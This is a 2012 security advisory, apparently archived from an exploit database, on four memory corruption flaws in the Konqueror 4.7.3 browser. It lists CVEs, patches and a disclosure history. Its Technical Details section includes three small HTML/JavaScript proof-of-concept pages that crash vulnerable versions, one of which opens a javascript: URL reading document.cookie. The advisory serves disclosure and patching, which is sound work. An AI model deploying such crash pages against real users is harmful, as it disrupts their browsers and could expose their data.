Konqueror 4.7.3 - Memory Corruption



Author:

Tim Brown

Type:

dos


Platform:

Linux

Date:

2012-11-01


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Nth Dimension Security Advisory (NDSA20121010)
Date: 10th October 2012
Author: Tim Brown <mailto:timb@nth-dimension.org.uk>
URL: <http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>
Product: Konqueror 4.7.3 <http://konqueror.kde.org/>
Vendor: KDE <http://www.kde.org/>
Risk: Medium

Summary

The Konqueror web browser is vulnerable to a number of memory corruption
vulnerabilities.

This advisory comes in 4 related parts:

1) The Konqueror web browser is vulnerable to type confusion leading to memory
disclosure.  The root cause of this is the same as CVE-2010-0046 reported by
Chris Rohlf which affected WebKit.

2) The Konqueror web browser is vulnerable to an out of bounds memory access
when accessing the canvas.  In this case the vulnerability was identified whilst
playing with bug #43813 from Google's Chrome repository.

3) The Konqueror web browser is vulnerable to a NULL pointer dereference leading
to a crash.

4) The Konqueror web browser is vulnerable to a "use-after-free" class flaw when
the context menu is used whilst the document DOM is being changed from within
Javascript.

These flaws were identified during an analysis of previously reported
vulnerabilities that affected Google's Chrome web browser.  It is believed that
only vulnerability 1 is/was common to the two code bases.

After discussions with the vendor, the following CVEs were assigned to these
vulnerabilities:

1) CVE-2012-4512
2) CVE-2012-4513
3) CVE-2012-4514
4) CVE-2012-4515

Solutions

Nth Dimension recommends that the vendor supplied patches should be applied:

1) a872c8a969a8bd3706253d6ba24088e4f07f3352
2) 1f8b1b034ccf1713a5d123a4c327290f86d17d53
3) 65464349951e0df9b5d80c2eb3cc7458d54923ae
4) 4f2eb356f1c23444fff2cfe0a7ae10efe303d6d8

Technical Details

1) Chris's blog post
(http://em386.blogspot.com/2010/12/webkit-css-type-confusion.html) nicely
describes this vulnerability.

It is worth noting that due to an overlap in bugs, our pre-advisory confused
CVE-2010-4577 and CVE-2010-0046.  Red Hat's bug entry for CVE-2010-4577
references the local() CSS function, whilst their bug entry for CVE-2010-0046
references the format() function (on very similar code paths).  In the case of
Konqueror, due to a slight reordering in calls, one patch (for CVE-2012-4512)
actually fixes both the format() and local() issue.

2) There was a sign-extension in calculating the dimensions of the canvas within
scaleLoop , which lead to a miscalculated jump. According to KDE, in the case of
64-bit systems this appeared only to allow a crash to be triggered however on
32-bit systems it could lead to memory disclosure.

The following PoC can trigger the crash on vulnerable versions of Konqueror:

<html>
<body>
<canvas id="tutorial"></canvas>
<script type="text/javascript">
var canvas = document.getElementById("tutorial");
if (canvas.getContext) {
var ctx = canvas.getContext("2d");
canvas.width = 111111;
}
</script>
</body>
</html>

It is worth noting that unlike vulnerability 2, the code here is not shared
between WebKit and Konqueror.

3) Unfortunely I no longer have the stack trace for this crash however it can be
triggered on vulnerable versions of Konqueror using the following PoC:

<html>
<body>
<iframe name="test" src="http://www.google.co.uk"></iframe>
<input type=button value="test"
onclick="window.open('javascript:alert(document.cookie)','test')" >
</body>
</html>

4) By accessing the context menu for a given iframe whilst the iframe is being
updated by the parent can lead to attempts to access no- onger existing objects.
 This may lead to a crash, or potentially code execution, depending on the state
of the process at the point the no-longer existing object is accessed.

The following PoC can trigger the crash on vulnerable versions of Konqueror:

<html>
<body>
<script>
setInterval(function () {
document.body.innerHTML = "<iframe src=about:konqueror></iframe>";
}, 300);
</script>
</body>
</html>

History

On 27th July 2011, Nth Dimension contacted the KDE security team to report
vulnerability 1.

On 7th November 2011, Than Ngo of Red Hat re-reports the vulnerability 1 and
Maksim Orlovich from KDE responds confirming that they have received the report
and it had been escalated to Maksim Orlovich, a KDE developer working on KHTML
to determine the impact.  A proposed patch is made available on 13th November
2010.

Nth Dimension continue to examine bugs in WebKit that have been reported to
Google and on 1st November 2011 report vulnerability 2. Maksim responds quickly
but only to confirm receipt.  There are apparently issues in reproducing
vulnerability 2.  Maksim further responds on the 6th confirming that he now has
it working and has identified the root cause.

On 2nd February 2012, Jeff Mitchell of the KDE security team requests details of
the patches in order to make the vulnerability details public.  Maksim responds
that wires were crossed and he was waiting on KDE security team and Nth
Dimension.  Patch details as above are then supplied,

On 16th February 2012, Nth Dimension report vulnerabilities 3 and 4. The KDE
security team propose rolling all 4 bugs into 1 advisory assuming that the final
2 vulnerabilities can quickly be triaged.  Maksim responds on the 20th
confirming he has them reproduced and offering possible fixes.

Between February and October, Nth Dimension hear no further updates despite
chasing the KDE security team in June.

Nth Dimension proceed to post limited details to oss-security on 10th October
2012.

Following this, representatives from Red Hat and KDE liased with Nth Dimension
to resolve the oustanding issues.  Further patches were supplied by David Faure
of KDE and tested by Jan Lieskovskyi and other members of the Red Hat security
team.  On 26th October 2012 an embargo was agreed to allow Nth Dimension and Red
Hat further time to review the supplied patch for vulnerability 4. KDE will
commit the proposed patch allowing disclosure on, or shortly after 29th October
2012.

Current

As of the 30th October 2012, the state of the vulnerabilities is believed to be
as follows.  Patches have been applied to Konqueror which resolve all
vulnerabilities.

Thanks

Nth Dimension would like to thank Jeff Mitchell, Maksim Orlovich and David Faure
of KDE as well as Jan Lieskovskyi, Vincent Danen, Kurt Seifried of the Red Hat
security team for the way they worked to resolve the issues.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBCAAGBQJQj/rqAAoJEPJhpTVyySo7tlwQAINmUg+dLqzH3RCv8inTdcNy
SOZmlAJFQfPpqohOYKL8ahx0Hr70LQgFSP2O2+WG5nbrav8zVsZFQ3Swdl25v9Yg
qFlPAz3XFrwgPnJlr3p18aEksOAqTe3nx3pvqbFDp7iUuOBvoh4HvZF4HfGlIeTQ
kWT7sBJ5IE9XEwq8pPnqTsfppy+1Ul+kjvW0zvBstOWXTCAEC2SUmW7pULlz5Wj3
tQEXlIyEARA6PagBVDV1ibZHWinbavvTeX/Cdqfk0T2VFURE17eA+0jxVejcswsQ
UP7Hc6fBWNb6cW9ruzRxeBNV3VHpqPlOHIyOUowtvc2/A4T2x5bHMIRrkcLJ4G65
WXfXx3iZWdv2omfRRTVUf8qRmwdl36vl2RPJKm1dUzXJBd/FnzpTiIiTdE3sAMHz
S/u+t98tCSVrsFGel7D2+B5QLvWggUkCmUsbn+pn1AADSfDkTNZXQeun3TcrJyV7
b+ziR1fEgrEkTskaB8azc4LZSfGNOjTJCY7eM/0y0n3TIN7+7MXTbqtw9fPBciNG
JAC672UPFN7coc05tH4Za5FFRm+fCmLzFgN8ZP2ciWOBRQBJAyldV+BTQqFPXxQT
shwF8+Q6E4NiW1SbLN7WQJYCL5AbHATu4o5GPRQgkKCE1SSO//fMFbNEMT2VvXeC
X51Xu9FrH4srj3ZMYDhK
=nHWY
-----END PGP SIGNATURE-----